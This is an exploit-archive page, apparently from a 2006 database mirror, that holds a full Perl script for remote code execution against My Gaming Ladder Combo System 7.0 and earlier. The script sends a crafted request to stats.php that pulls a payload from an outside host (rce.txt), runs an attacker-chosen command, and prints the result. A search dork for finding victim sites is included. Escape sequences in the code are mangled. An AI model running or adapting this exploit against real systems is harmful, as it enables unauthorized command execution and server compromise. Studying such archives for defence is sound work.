[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : My Gaming Ladder Combo System <= 7.0 Remote Code Execution Exploit
# Published : 2006-04-22
# Author : nukedx
# Previous Title : PHPCollab 2.x / NetOffice 2.x (sendpassword.php) SQL Injection Exploit
# Next Title : CoreNews <= 2.0.1 (userid) Remote SQL Injection Exploit


#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=28
#Usage: ladder.pl <host> <path> <cmd>
#Dork: "Ladder Scripts by http://www.mygamingladder.com" 40.500 pages.
use IO::Socket;
if(@ARGV < 3) { usage(); }
else { exploit(); }
sub header()
{
  print "n- NukedX Security Advisory Nr.2006-28rn";
  print "- My Gaming Ladder Combo System <= 7.0 Remote Command Execution Exploitrn";
}
sub main::urlEncode {
  my ($string) = @_;
  $string =~ s/(W)/"%" . unpack("H2", $1)/ge;
  #$string# =~ tr/.//;
  return $string;
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path> <cmd>rn";
  print "- <host> -> Victim's host ex: www.victim.comrn";
  print "- <path> -> Path to My Gaming Ladder ex: /ladder/rn";
  print "- <cmd>  -> Command to execute ex: ls -larn";
  print "- This exploit needs allow_url_fopen set to 1 and register_globals onrn";
  exit();
}
sub exploit () 
{
  #Our variables...
  $echoing  = "";
  $ldserver = $ARGV[0];
  $ldserver =~ s/(http://)//eg;
  $ldhost   = "http://".$ldserver;
  $lddir    = $ARGV[1];
  $ldport   = "80";
  $ldtar    = "stats.php?dir[func]=&dir[base]=http://www.misssera.com.tr/old/rce.txt%3F&command=";
  $ldcmd    = ""; for ($i=2; $i<=$#ARGV; $i++) {$ldcmd.="%20".urlEncode($ARGV[$i]);};
  $ldreq    = $ldhost.$lddir.$ldtar.$ldcmd;
  #Sending data...
  header();
  print "- Trying to connect: $ldserverrn";
  $ld = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$ldserver", PeerPort => "$ldport") || die "- Connection failed...n";
  print $ld "GET $ldreq HTTP/1.1n";
  print $ld "Accept: */*n";
  print $ld "Referer: $ldhostn";
  print $ld "Accept-Language: trn";
  print $ld "User-Agent: NukeZillan";
  print $ld "Cache-Control: no-cachen";
  print $ld "Host: $ldservern";
  print $ld "Connection: closenn";
  print "- Connected...rn";
  $echoing = "No";
  while ($answer = <$ld>) {
    if ($answer =~ /NukedX here/) { $echoing = "Yes"; }
    if ($answer =~ /NukedX was here/) { print "- End of resultsn"; exit(); }
    if ($echoing =~ /Yes/) { 
      if ($answer =~ /NukedX here/) { print "- Command executed succesfully here is resultsrn"; }
      else { print "$answer"; }
    }
  }
  #Exploit failed...
  print "- Exploit failedn"
}

# www.Syue.com [2006-04-22]